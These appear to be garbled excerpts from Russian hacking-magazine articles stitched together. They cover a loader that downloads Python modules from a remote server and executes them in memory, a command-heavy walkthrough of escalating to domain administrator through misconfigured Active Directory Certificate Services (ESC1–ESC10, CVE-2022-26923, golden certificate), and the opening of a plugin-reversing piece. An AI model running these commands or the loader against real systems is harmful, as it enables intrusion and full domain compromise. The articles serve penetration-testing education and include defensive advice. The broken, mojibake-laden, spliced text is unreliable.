         module.__path__ = [os.path.dirname(module.__file__)]

    exec(code, module.__dict__)

    return module

Сер дце клас са  — метод , вызыва ющий встро енную фун -

кцию  для пред варитель ной ком пиляции кода импорти руемо го модуля
и его под готов ки к пос леду ющей переда че на вход фун кции . Так же в рам -
ках это го метода мы офор мля ем объ ект модуля, что бы для интер пре тато ра он
не отли чал ся от обыч ного импорта с дис ка.

CFinder load_module

compile
exec

В общем-то, это и есть вся магия. В коде Pyramid есть реали зация дру гих
необя затель ных методов, таких как  и , но для нас они
не пред став ляют инте реса и могут быть исклю чены из финаль ной реали зации.

get_data get_code

Èñïîëüçîâàíèå CFinder

@staticmethod
 def install_hook(repo_name):

       if repo_name not in META_CACHE:
         finder = CFinder(repo_name)

         META_CACHE[repo_name] = finder
       sys.meta_path.append(finder)

@staticmethod
  def hook_routine(zip_name, zip_bytes):

      ZIPPED[zip_name] = ZipFile(io.BytesIO(zip_bytes), 'r')
   CFinder.install_hook(zip_name)

Ис поль зовать написан ный класс про ще прос того: сна чала мы вызыва ем ста -
тичес кий метод  и отда ем ему имя и бай ты (содер -
жимое) ZIP-архи ва, заг ружен ного извне. Это доб ро сох раня ется в гло баль но
опре делен ный сло варь , уже мель кав ший в коде рань ше, и далее

метахук регис три рует ся фун кци ей . Пос ледняя добав ляет экзем -
пляр нашего кас томно го клас са CFinder к спис ку . При попыт ке

выпол нить импорт, который не будет раз решен никаким дру гим импорте ром,
в игру всту пит наш CFinder и под гру зит тре буемый модуль из памяти.

CFinder.hook_routine

ZIPPED
install_hook

sys.meta_path

 def build_http_request(filename):
     context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
     context.check_hostname = False
     context.verify_mode = ssl.CERT_NONE

     request = urllib.request.Request(f'https://{PYRAMID_HOST}:{
PYRAMID_PORT}/{filename}.zip')
     
 

auth = b64encode(bytes(f'{PYRAMID_USERNAME}:{PYRAMID_PASSWORD}
', 'ascii')).decode()
    request.add_header('Authorization', f'Basic {auth}')

     return context, request

 def download_and_import():
      for module in PYRAMID_TO_IMPORT:
       print(f'[*] Downloading and importing module in memory: {

module}')

          context, request = build_http_request(module)
           with urllib.request.urlopen(request, context=context) as

response:
             zip_bytes = response.read()

            CFinder.hook_routine(module, zip_bytes)

   print('[+] Hooks installed!')

Для поряд ка при веду финаль ные фун кции-помощ ники, забира ющие зипы
с уда лен ного сер вера по HTTPS с Basic-аутен тифика цией. Здесь вро де все
понят но без допол нитель ных пояс нений.

Îñîáûå ñëó÷àè èìïîðòà

К сожале нию, не все питонов ские модули мож но заг рузить из памяти. Речь
идет в основном о фай лах , пред став ляющих собой динами чес ки раз деля -
емые биб лиоте ки с байт-кодом Python, и о стан дар тных для Windows DLL-
либах, иду щих в ком плек те с некото рыми модуля ми.

.pyd

Та кого ста фа навалом, нап ример, в биб лиоте ках с крип тогра фией, которые
всег да нуж ны при работе с про токо лами.

PYD-фай лы в модуле Cryptodome

Что бы удов летво рить такие зависи мос ти, нам при дет ся заг ружать и рас -
паковы вать их на диск. За это отве чает хел пер :download_and_unpack

 def download_and_unpack():
   for module in PYRAMID_TO_UNPACK:

   print(f'[*] Downloading and unpacking module: {module}')

      context, request = build_http_request(module)
       with urllib.request.urlopen(request, context=context) as

response:
         zip_bytes = response.read()

       with ZipFile(io.BytesIO(zip_bytes), 'r') as z:
       z.extractall(os.getcwd())

Пол ный код того, что у меня получи лось пос ле нез начитель ного рефак торин га
исходно го про екта, мож но най ти . Рядом лежат пре сеты
для генера ции боевых скрип тов на осно ве обще го тем плей та, которы ми мы
будем поль зовать ся в сле дующем раз деле.

у меня на GitHub

По ка готовил матери алы для статьи, нашел инте -
рес ный репози торий , который, судя
по опи санию, уме ет делать все то же самое, что
реали зова ли мы, но с допол нитель ными плюш -
ками. Сам я этот код не тес тил, но, может, тебе
будет инте рес но с ним поиг рать.

httpimport

Продолжение статьи →
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ВЗЛОМ

Центр сер тифика ции в Active Directory
может стать отличной целью ата ки
при выпол нении тес тирова ния на про ник -
новение. В этой статье мы рас смот рим,
как устро ен этот центр, как про исхо дит
выдача сер тифика тов и как мож но
повысить при виле гии в домене, исполь зуя
воз можнос ти Active Directory Certication
Services.

В Windows Server при сутс тву ет роль под наз вани ем Active Directory Certication
Services (AD CS), которая нуж на для реали зации инфраструк туры откры тых
клю чей (PKI) в сетях с кон трол лером домена. AD CS пред назна чена для выдачи
сер тифика тов поль зовате лям и компь юте рам. Сер тифика ты могут исполь -
зовать ся для шиф рования, под писи, аутен тифика ции и тому подоб ного, и в
целом эта роль выг лядит как сер вис для повыше ния безопас ности в домене.

Ча ще все го при пен тесте домена Active Directory конеч ной целью ста вит ся
перех ват учет ной записи адми нис тра тора. Получив адми на, мож но 

 сда вать отчет и закан чивать про ект. Есть мно жес тво спо собов добить -
ся ука зан ной цели, и один из них — экс плу ата ция неп равиль ных кон фигура ций
шаб лонов, по которым выпус кают ся сер тифика ты.

шиф ровать
сис тему

На пути к получе нию адми нис тра тора домена нам понадо бит ся нас тоящий
швей цар ский нож в мире сер тифика тов — . Он поз воля ет искать
информа цию о шаб лонах, зап рашивать сер тифика ты и аутен тифици ровать ся
при помощи сер тифика тов, но самое глав ное — про водить ата ки.

Certipy

ÖÅÍÒÐ ÑÅÐÒÈÔÈÊÀÖÈÈ

В рам ках Active Directory центр сер тифика ции реали зует фун кцию инфраструк -
туры откры тых клю чей. В свою оче редь, инфраструк тура откры тых клю чей
(PKI) — это набор служб и ком понен тов, поз воля ющих управлять клю чами
и сер тифика тами в сети.

Ос новная цель цен тра сер тифика ции сос тоит в выдаче, отзы ве, перевы пус -
ке сер тифика тов и тому подоб ном. Центр сер тифика ции, раз верну тый пер вым,
явля ется кор нем инфраструк туры откры тых клю чей. Далее мож но раз верты вать
под чинен ные ЦС, рас положен ные в иерар хии инфраструк туры откры тых клю -
чей, в вер хней час ти которой находит ся кор невой ЦС.

ÑÅÐÒÈÔÈÊÀÒÛ

Cер тификат в общем смыс ле — это документ фор мата X.509, содер жащий
информа цию о сво ем вла дель це. Может исполь зовать ся как средс тво иден -
тифика ции и аутен тифика ции.

Зап рос сер тифика та

Сер тифика ты вклю чают в себя некото рые парамет ры. Вот наибо лее инте рес -
ные из них:

Subject — вла делец сер тифика та;•
SAN (SubjectAlternativeName) опре деля ет одно или нес коль ко аль тер натив -
ных имен, которые может исполь зовать вла делец (это нам при годит ся
в ата ках);

•

Extended/Enhanced Key Usages — набор иден тифика торов, которые опре -
деля ют, как будет исполь зовать ся сер тификат.

•

Сер тифика ты выпус кают ся по опре делен ным шаб лонам, опи сыва ющим
парамет ры, с которы ми будет выпущен сер тификат, нап ример:

Кто может зап рашивать сер тификат по дан ному шаб лону?•
Кто может изме нять шаб лон?•
Ка кие EKU (зна чения Extended Key Usage) будут опре деле ны?•
На какой пери од будет выпущен сер тификат?•

Про ще говоря, шаб лоны сер тифика тов опре деля ют порядок зап роса и исполь -
зования сер тифика тов, выдан ных цен тром сер тифика ции.

Â ÏÎÈÑÊÀÕ ÑÅÐÒÈÔÈÊÀÒÎÂ

Шаб лоны сер тифика тов хра нят ся в сле дующем кон тей нере:

com
CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=
Configuration,DC=contoso,DC=

Со ответс твен но, получить шаб лоны мож но при помощи сле дующей коман ды
PowerShell, исполь зуя модуль AD:

PS > Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public 
Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com" 
-Filter * -Properties *

Так же в Windows есть пре дус танов ленный инс тру мент , который

может вывес ти все шаб лоны для сер тифика тов в более удоб ном и под робном
виде.

certutil

 $ certutil -v -template

Вы вод certutil.exe

Инс тру мент  поз волит сде лать это с Linux и сра зу выг рузить дан ные,
которые мож но заг рузить в BloodHound.

Certipy

$ certipy find 'contoso/john:Passw0rd@contoso.com'

Шаб лоны в BloodHound

Что бы выпус тить сер тификат, нуж но, что бы наш поль зователь сос тоял
в домен ной груп пе, у которой есть пра ва на выпуск это го сер тифика та.
Еще необ ходима воз можность аутен тифици ровать ся в домене. В совокуп ности
эти два тре бова ния дадут мак сималь ный импакт для ата кующе го.

Зна чения поля EKU, поз воля ющие аутен тифици ровать ся в домене:
Client Authentication ( );• 1.3.6.1.5.5.7.3.2
PKINIT Client Authentication ( );• 1.3.6.1.5.2.3.4
Smart Card Logon ( );• 1.3.6.1.4.1.311.20.2.2
Any Purpose EKU ( );• 2.5.29.37.0
SubCA ( ).• -

Продолжение статьи →
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ПОВЫШАЕМ ПРИВИЛЕГИИ
ЧЕРЕЗ ACTIVE DIRECTORY
CERTIFICATION SERVICES

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÀÒÀÊÈ ÍÀ AD CS

Ëàáîðàòîðèÿ

Для про веде ния тес тов нам пот ребу ется лабора тор ный стенд, сос тоящий
из двух вир туаль ных машин: Windows Server 2016 и Kali Linux. Перечис лим
общие тре бова ния для всех атак:

сер тификат может выпус кать ся груп пой, в которую вхо дит ваш поль -
зователь;

•

Manager Approval дол жен быть отклю чен;•
под пись CSR не тре бует ся.•

Пос ледние два тре бова ния выпол няют ся в Windows Server по умол чанию, и на
них мож но не обра щать вни мания (при вет, адми ны!). Еще нам пот ребу ется
воз можность аутен тифика ции в домене с выпущен ным сер тифика том.
На нашем лабора тор ном стен де мы будем исполь зовать поль зовате ля 

.
Kent.

Jill:P@ssw0rd

Ñáîð èíôîðìàöèè

Сбор информа ции о цели — пер вый этап тес тирова ния на про ник новение.
Для сбо ра информа ции и визу али зации мож но исполь зовать  +

. Перед этим нуж но заг рузить под готов ленные раз работ чиками
Certipy зап росы на свой хост.

Certipy
BloodHound

wget -O ~/.config/bloodhound/customqueries.json https://raw.
githubusercontent.com/ly4k/Certipy/main/customqueries.json

По лучить информа цию из цен тра сер тифика ции поз воля ет модуль :find

$ certipy find 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com

BloodHound дает воз можность визу али зиро вать информа цию по объ ектам AD
CS и пра вам на них, а так же опре делить век торы повыше ния при виле гий.

Зап росы в BloodHound

Зап росы в BloodHound

Modifiable SAN. ESC1

Эта ата ка осно выва ется на изме нении сер тифика та SAN — циф рового сер -
тифика та безопас ности, который поз воля ет защищать нес коль ко имен хос тов
одним сер тифика том. Это поз волит нам выпус тить сер тификат на дру гого
поль зовате ля, даже адми нис тра тора домена. Что бы ата ка прош ла успешно,
шаб лон сер тифика та дол жен иметь уста нов ленный флаг

.ENROLLEE_SUPPLIES_SUBJECT
Вы ведем все такие шаб лоны с исполь зовани ем BloodHound.

Вы вод ESC1 в BloodHound

Ес ли у нас есть такой шаб лон, то мы в шаге от получе ния учет ной записи адми -
нис тра тора домена. Зап росить сер тификат на любого поль зовате ля мож но
сле дующим обра зом:

   
$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com 
-dc-ip 10.11.1.184 -ca CA-contoso -template "1" -alt
"administrator@contoso.com"

В этой коман де уста нав лива ется параметр , который ука зыва ет SAN в зап -
рашива емом сер тифика те.

alt

Из лога Certipy вид но, что мы получи ли сер тификат на поль зовате ля
Administrator.

По луче ние сер тифика та на адми нис тра тора

Те перь все, что нам оста ется, — это прой ти аутен тифика цию с выпущен ным
сер тифика том и получить NTLM-хеш адми нис тра тора домена.

Ав ториза ция под адми нис тра тором

В Windows мы можем это сде лать при помощи , исполь зуя оснас тку
. При попыт ке выпус тить сер тификат от нас пот ребу ется допол -

нитель ная информа ция, в которой мы и ука жем любого поль зовате ля.

mmc
Certificates

В  выбира ем , а в  —
.

Subject Name Type: Common name Alternative name
User principal name: administrator@contoso.com

Вы пуск сер тифика та через MMC

Ес ли все прош ло успешно, нуж но экспор тировать сер тификат с ука зани ем
пароля и зап росить TGT-билет для поль зовате ля:

PS > Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:
"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:
"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /ptt

Для перево да сер тифика та в Base64 мож но исполь зовать сле дующие коман -
ды:

PS > $file = get-content 'C:\Users\Kent.Jill\Desktop\1.pfx' 
-Encoding Byte

PS > [System.Convert]::ToBase64String($fileContentBytes) | 
Out-File 'D:\pfx-bytes.txt'

Any or None Purpose Attack. ESC2

Ес ли в шаб лоне сер тифика та ука зан EKU любого наз начения или вооб ще
отсутс тву ет EKU, сер тификат мож но исполь зовать для чего угод но. Им мож но
зло упот реблять, как ESC3, нап ример исполь зовать сер тификат в качес тве тре -
бова ния для зап роса дру гого сер тифика та от име ни любого поль зовате ля.

Enrollment Agent. ESC3

В  ука зано, что EKU Certicate Request Agent может
исполь зовать ся, что бы выдать себя за дру гого поль зовате ля, и поз воля ет
выпус тить сер тификат, который может быть исполь зован для сов мес тной под -
писи зап росов от име ни любого поль зовате ля для любого шаб лона.

до кумен тации Microsoft

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com 
-ca CA-contoso -template Agent

Зап рос через агент

Пос ле того как мы получи ли обыч ного поль зовате ля, зап росим сер тификат,
пред ста вив шись дру гим поль зовате лем.

 
 

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com 
-ca CA-contoso -template User -on-behalf-of 'contoso\
Administrator' -pfx kent.jill.pfx

Зап рос сер тифика та от име ни дру гого поль зовате ля

Certificate ACL Abuse. ESC4

Прос тая ата ка, осно ван ная на пра вах поль зовате ля, при меня ющих ся к шаб лону
сер тифика та. Если мы ском про мети рова ли поль зовате ля, который име ет пра ва
на запись в шаб лоны, то можем про вес ти ата ку ESC1 и повысить свои при -
виле гии.

При помощи инс тру мен та PowerView мы можем кра сиво вывес ти все ACE
на шаб лоны:

PS > Get-DomainObjectAcl -SearchBase "CN=Certificate Templates,
CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,
DC=local" -LDAPFilter "(objectclass=pkicertificatetemplate)" 
-ResolveGUIDs|Foreach-Object {$_ | Add-Member -NotePropertyName 
Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier
.value) -Force; $_}

Од нако BloodHound покажет то же самое еще удоб нее и кра сивее. Мож но уви -
деть, что груп па с SID = 513 (Domain Users) име ет пра ва GenericAll на шаб лон
ACL. Подоб ное неред ко встре чает ся в «живой при роде», поэто му не сто ит счи -
тать этот при мер пол ностью искусс твен ным.

Вы вод прав на шаб лон в BloodHound

Сле дующим дей стви ем будет сох ранение текуще го сос тояния сер тифика та,
что бы вер нуть его в исходное сос тояние пос ле экс плу ата ции (мы ведь этич ные
хакеры). Заод но мы изме ним кон фигура цию под ата ку ESC1.

Для выпол нения этих дей ствий  име ет спе циаль ный флаг 

:

certipy -save-
old

 ACL 
$ certipy template 'contoso.com/Administrator:P@ssw0rd'@DC01.
contoso.com -template -save-old

Сох ранение исходно го шаб лона

Те перь шаб лон уяз вим к ESC1 и мы можем получить сер тификат на адми нис -
тра тора домена.

 acl 
$ certipy req 'contoso.com/Administrator:P@ssw0rd'@DC01.contoso.
com -template -ca CA-contoso -alt administrator@contoso.com

Зап рос сер тифика та на адми на

Everything and for everyone (EDITF_ATTRIBUTESUBJECTALTNAME2).

ESC6

Ата ку ESC5 мы раз бирать не будем, так как она нацеле на не на AD CS, а на
объ екты, которые могут при нес ти какой-то импакт в AD CS. А вот ESC6 —
это самая опас ная и по сво ей сути лег кая ата ка. Если сис темный адми нис тра -
тор (видимо, не в сво ем уме) уста новил флаг

 в цен тре сер тифика ции, то это прос тей -

ший век тор для повыше ния при виле гий в сис теме.

EDITF_ATTRIBUTESUBJECTALTNAME2

Этот флаг поз воля ет хакеру ука зать про изволь ный SAN (Subject Alternative
Name) для всех сер тифика тов, нес мотря на кон фигура цию шаб лона сер -
тифика та.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com 
-template <Любой шаблон> -ca CA-contoso -alt 
administrator@contoso.com

Manage CA & Manage Certificate. ESC7

В AD CS есть шаб лон, который по умол чанию уяз вим к ESC1, — ,

но выпус кать его могут лишь поль зовате ли, вхо дящие в груп пу .

SubCA
Domain Admins

ESC7 осно ван на том фак те, что зап росы, которые завер шились неуда чей,
сох раня ются и могут быть зап рошены еще раз. Поль зовате ли, име ющие пра ва

 и  на центр сер тифика ции, могут перевы пол -

нять неудач ные зап росы на выпуск сер тифика та и выпус кать  на любого
поль зовате ля.

Manage CA Manage Certificates
SubCA

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com 
-template SubCA -ca CA-contoso -alt administrator@contoso.com

Вы пол няем неудач ный зап рос

Сох ранив ID зап роса и при ват ный ключ, выпус тим сер тификат:

 32
$ certipy ca 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca
CA-contoso -issue-request

Вы пуск сер тифика та из неудач ного зап роса

Те перь зап росим перевы пущен ный сер тификат.

 32
$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com 
-ca CA-contoso -retrieve

По луче ние адми нис тра тора домена

В оче ред ной раз мы ста ли адми нис тра тором домена.

Relay íà AD CS Web Enrollment. ESC8

Ты навер няка слы шал про PetitPotam или читал замеча тель ные статьи @Delyura
« » и @Dirkjanm «

», которые под робно
опи сыва ют дан ную ата ку.

Зах ват кон трол лера домена с помощью ата ки PetitPotam NTLM
relaying to AD CS — On certicates, printers and a little hippo

Ес ли крат ко, то мы можем реле ить хеш в центр сер тифика ции, получая сер -
тификат в фор мате PKCS12 на поль зовате ля, чей хеш мы рет ран сли рова ли.

От личный док лад про Relay-ата ки: Coercions
and Relays — The First Cred is the Deepest with
Gabriel Prud’homme

dNSHostName Spoofing

В мае 2022 года в Active Directory была най дена уяз вимость, которой был
прис воен иден тифика тор CVE-2022-26923. Ког да поль зователь зап рашива ет
сер тификат на осно ве шаб лона , UPN (UserPrincipalName) учет ной записи

поль зовате ля встав ляет ся в параметр SAN (Subject Alternative Name) сер -
тифика та.

Users

Од нако учет ные записи компь юте ров не име ют UPN, вмес то это го исполь -
зует ся  компь юте ра, который и встав ляет ся в параметр SAN.
В этом и зак люча ется суть ата ки: изме нив  на кон трол лер домена,

мы выпус тим сер тификат на машин ную учет ную запись это го кон трол лера.

dNSHostName
dNSHostName

По умол чанию обыч ные поль зовате ли могут добав лять компь юте ры
в домен, и учет ная запись компь юте ра будет иметь такую инте рес ную при -
виле гию, как , что поз воля ет изме нять

параметр  на про изволь ную стро ку. Соот ветс твен но, мы можем

поменять  на DNS-имя кон трол лера домена, а затем аутен -
тифици ровать ся, получив сер тификат на машин ную учет ную запись кон трол -
лера домена! Одна ко не все так прос то. Ког да мы меня ем 

на компь юте ре, меня ются зна чения , а они дол жны
быть уни каль ными.

Validate write to DNS host name
dNSHostName
dNSHostName

dNSHostName
servicePrincipalName

Вот тут в игру всту пает еще одна инте рес ная при виле гия на объ ект компь -
юте ра — , поз воля ющая
изме нять, добав лять и уда лять параметр SPN и обой ти огра ниче ние уни каль -
нос ти, прос то уда лив SPN, где ука зыва ется пол ный , а не

 компь юте ра.

Validate write to Service Principal Name (SPN)

dNSHostName
sAMAccountName

Та ким обра зом, воз можность соз дания нового компь юте ра и при виле гии
на компь ютер по умол чанию дают зло умыш ленни ку век тор для повыше ния
при виле гий в сис теме.

Пол ный флоу ата ки выг лядит сле дующим обра зом:
1. Соз дание компь юте ра в домене с , соот ветс тву ющим DNS-

име ни кон трол лера домена.
dNSHostName

2. За мена SPN.
3. Зап рос сер тифика та для компь юте ра.

Соз дадим компь ютер через Certipy, ука зав в параметр  FQDN кон трол -
лера домена:

-dns

$ certipy account create 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.
contoso.com -user pwned -dns DC01.contoso.com

Соз дание компь ютер ной учет ки

Зап рашива ем сер тификат, исполь зуя стан дар тный шаб лон .Machine

Вы пуск сер тифика та на кон трол лер домена

Об рати вни мание: мы выпус тили сер тификат на машин ную учет ку кон трол лера
домена, пос ле чего ста ли этим кон трол лером.

В темати чес ких чатах я замечал сле дующий воп рос: а как про верить, уяз вим
ли кон трол лер домена к CVE-2022-26923? Глав ным приз наком уяз вимос ти
слу жит наличие SID в отве те на зап рос сер тифика та. Если он есть — патч в сис -
теме при сутс тву ет, если нет, то пат ча тоже нет.

Golden Certificate

Это прос той ана лог для  или  Ticket.Golden Diamond
Пер вый этап ата ки — соз дание бэкапа цен тра сер тифика ции и получе ние

сер тифика та это го цен тра.

$ certipy ca 'contoso.com/Administrator:P@ssw0rd'@DC01.contoso.
com -ca CA-contoso -backup

Де лаем резер вную копию цен тра сер тифика ции

С помощью получен ного сер тифика та мы можем зап рашивать сер тифика ты
на любого поль зовате ля.

$ certipy forge -ca-pfx CA-contoso.pfx -alt administrator@contoso.
com

Вы пуск сер тифика та на любого поль зовате ля

ÑÎÏÎÑÒÀÂËÅÍÈÅ ÑÅÐÒÈÔÈÊÀÒÎÂ

В пат че CVE-2022-26923 в реестр были добав лены два зна чения:
 и ,

пред назна чен ные для сопос тавле ния сер тифика тов.

StrongCertificateBindingEnforcement CertificateMappingMethods

StrongCertificateBindingEnforcement. Kerberos

Пос ле появ ления исправ лений параметр
 по умол чанию име ет зна чение .

Теперь KDC про веря ет, выпол няет ся ли явное сопос тавле ние сер тифика тов.
Если да, то аутен тифика ция раз решена. В про тив ном слу чае KDC про верит,
име ет ли сер тификат SID, и под твер дит его. Если SID отсутс тву ет, аутен -
тифика ция раз решена.

StrongCertificateBindingEnforcement 1

Зна чение  не озна чает никаких дей ствий, что оставля ет век тор ата ки

откры тым.

0

Ес ли параметр име ет зна чение , KDC про веря ет, выпол няет ся ли надеж -

ное сопос тавле ние сер тифика тов. Если да, то аутен тифика ция раз решена.
В про тив ном слу чае KDC про верит, име ет ли сер тификат SID, и под твер дит
его. Если этот SID отсутс тву ет, аутен тифика ция откло няет ся.

2

Зна чение  будет уста нов лено по умол чанию с 9 мая 2023 года.2

CertificateMappingMethods. Schannel

В дан ном методе исполь зует ся аутен тифика ция через про токол Schannel. Этот
про токол сопос тавля ет сер тифика ты нем ного ина че. Параметр

 может при нимать пять зна чений:CertificateMappingMethods
 — сопос тавле ние сер тифика тов субъ ект/объ ект;• 0x0001

 — сопос тавле ние сер тифика тов ЦА;• 0x0002

 — сопос тавле ние сер тифика тов по SAN;• 0x0004

 — сопос тавле ние сер тифика тов S4U2Self;• 0x0008

 — явное сопос тавле ние сер тифика тов S4U2Self.• 0x0010

По умол чанию уста нов лено зна чение  (  и ). S4U2Self исполь зует ся

из-за того, что Schannel не под держи вает новые парамет ры, которые прив нес
оче ред ной патч, и сопос тавле ние идет через Kerberos.

0x18 0x8 0x10

Под робно про читать про сопос тавле ние сер -
тифика тов мож но в недав ней статье Oliver Lyak
«

».
Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New

Authentication and Request Methods — and more!

ESC9. Jump to DA

Для этой ата ки нуж но, что бы параметр
 имел зна чение  или . Еще пот -

ребу ется сер тификат с уста нов ленным фла гом
 в парамет ре ,

а так же  любого поль зовате ля в домене. BloodHound 4.2.0 име ет
встро енные зап росы для вывода подоб ных шаб лонов.

StrongCertificateBindingEnforcement 1 0

CT_FLAG_NO_SECURITY_EXTENSION msPKI-Enrollment-Flag
GenericWrite

Пер вым делом сле дует получить хеш учет ной записи B от учет ной записи A,
которая име ет  на B, нап ример через Shadow Credentials:GenericWrite

  
Max
$ certipy shadow auto 'contoso.com/Kent.Jill:P@ssw0rd' -account

Пос ле получе ния хеша нуж но изме нить UPN учет ной записи B на UPN адми -
нис тра тора:

  
Max 
$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user

-upn Administrator

За меть, не на , а на .Administrator@contoso.com Administrator
Даль ше зап росим сер тификат от учет ной записи  (она же учет ная запись

B), хеш которой мы получи ли на пер вом эта пе:

Max

  new $ certipy req 'contoso.com/Max' -template -ca CA-contoso 
-hashes 275b741dead6da7aaa8ec5292db5abca

Пос коль ку мы изме нили UPN на , сер тификат будет выпущен

на имя адми на. Что бы вер нуть все как было, мы уста нав лива ем UPN обратно,
но уже с ука зани ем домена:

Administrator

  
Max 
$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user

-upn Max@contoso.com

ESC10. Nameless accounts

Для успешно го выпол нения этой ата ки нуж но, что бы парамет ры име ли сле -
дующие зна чения:

CertificateMappingMethods: 0x4
StrongCertificateBindingEnforcement: 0

Так же нам понадо бит ся раз решение  на учет ную запись А.GenericWrite
Дан ная ата ка пред полага ет ком про мета цию учет ных записей, у которых

отсутс тву ет UPN. К таковым отно сит ся, в час тнос ти, машин ная учет ка
или встро енная учет ка .Administrator

Сна чала мы получа ем хеш учет ной записи B, так же через ShadowCredentials
или любым дру гим спо собом:

  
Max
$ certipy shadow auto 'contoso.com/Kent.Jill:P@ssw0rd' -account

За тем меня ем UPN учет ной записи на, нап ример, кон трол лер домена:

  
Max  
$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user

-upn 'DC01$@contoso.com'

Да лее зап рашива ем сер тификат от  и... сами ста новим ся кон трол лером

домена:

Max

  new $ certipy req 'contoso.com/Max' -template -ca CA-contoso 
-hashes 275b741dead6da7aaa8ec5292db5abca

ÂÛÂÎÄÛ

Мы рас смот рели нес коль ко видов атак на Active Directory Certication Services
и выяс нили, каким обра зом с исполь зовани ем этой роли мож но повысить при -
виле гии в сис теме. Защитить ся от таких атак отно ситель но нес ложно: нуж ны
пра виль ные нас трой ки сер вера и, конеч но же, не сле дует забывать о сво евре -
мен ной уста нов ке обновле ний безопас ности.

Для защиты тре бует ся все го лишь кор рек тная нас трой ка прав поль зовате -
лей на шаб лоны, с отклю чени ем всех нес тандар тных нас тро ек. Имен но некор -
рек тная нас трой ка шаб лонов при водит к ата кам, поз воля ющим хакеру
повысить при виле гии в две коман ды. Про вер ку кор рек тнос ти нас тро ек шаб -
лонов мож но выпол нить с помощью замеча тель ного инс тру мен та .PSPKIAudit

Ес ли ты хочешь мак сималь но защитить ся от атак
через AD CS, рекомен дую изу чить боль шой гайд
от Microsoft, который опи сыва ет все аспекты
защиты, начиная от пла ниро вания архи тек туры
и закан чивая монито рин гом и реаги рова ниям
на инци ден ты: .Securing PKI

https://github.com/ly4k/Certipy
https://github.com/BloodHoundAD/BloodHound
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cersod/97f47d4c-2901-41fa-9616-96b94e1b5435
https://habr.com/ru/company/deiteriylab/blog/581758/
https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
https://www.youtube.com/watch?v=b0lLxLJKaRs&t=1370s
https://blog.quest.com/golden-ticket-attacks-how-they-work-and-how-to-defend-against-them/
https://www.trustedsec.com/blog/a-diamond-in-the-ruff/
https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
https://github.com/GhostPack/PSPKIAudit
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786443(v=ws.11)
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ВЗЛОМ

Ком мерчес кие пла гины к популяр ным
прог раммам, как и обыч ные при ложе ния,
исполь зуют собс твен ные механиз мы
безопас ности. Сегод ня мы нем ного
поковы ряем ся во внут реннос тях плат ных
рас ширений для популяр ного трех мерно -
го редак тора 3ds Max и узна ем, какие
методы защиты при меня ют их раз работ -
чики.

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В сво их пуб ликаци ях я уже неод нократ но зат рагивал тему  и 
 .NET-при ложе ний и биб лиотек. Сегод ня погово рим о том же,

толь ко в нес коль ко ином клю че. Нач нем, в луч ших тра дици ях поручи ка Ржев -
ско го, изда лека.

ре вер са де -
обфуска ции

У дизай неров, активно занима ющих ся 3D-модели рова нием, боль шой
популяр ностью поль зует ся редак тор 3ds Max небезыз вес тной ком пании
Autodesk. Этот про фес сиональ ный редак тор уже боль ше трид цати лет счи тает -
ся лидером отрасли, начиная еще с эпо хи DOS. Разуме ется, как любой про -
фес сиональ ный редак тор, он пре дос тавля ет API, на осно ве которо го тол ковый
поль зователь может дописы вать свои модули под собс твен ные тех ничес кие
задачи (скрип ты, пла гины и про чее). И конеч но же, на рын ке прог рам мно го
обес печения доволь но быс тро появи лась соот ветс тву ющая ниша, свя зан ная
с изго тов лени ем и про дажей подоб ного рода рас ширений, которые поль зуют -
ся спро сом у про фес сиональ ных дизай неров-трех мерщи ков.

За трид цать с лиш ним лет Autodesk успе ла нап лодить мно жес тво типов
рас ширений, из которых самый ста рый и час то исполь зуемый — скрип тинг
на MAXScript. MAXScript — собс твен ный, ни на что не похожий (хотя Википе дия
почему-то отме чает сходс тво с BASIC и LISP) язык, име ющий прос то чудовищ -
ный по сов ремен ным мер кам син таксис. По сути, это тяжелое нас ледие лихих
девянос тых, ког да гор дыня пер вопро ход цев компь ютер ного соф та зас тавля ла
их изга лять ся во имя уни каль нос ти, лишь бы не как у всех. Самые отмо рожен -
ные из подоб ных решений отмерли, замес тились общепри няты ми тех нологи -
ями (Python, JavaScript), дру гие сами ста ли неким стан дартом, пре дос тавив
в качес тве ком про мис са интерфейс для вызова более популяр ных плат форм.

Хо тя в Autodesk и пред при няли роб кую попыт ку заменить MAXScript
Python’ом, но на дан ный момент, похоже, MAXScript все-таки лидиру ет — дело
и в под дер жке ста рых нарабо ток, и в том, что из MAXScript есть воз можность
вызывать .NET-биб лиоте ки, в которых мож но реали зовать любую хотел ку.

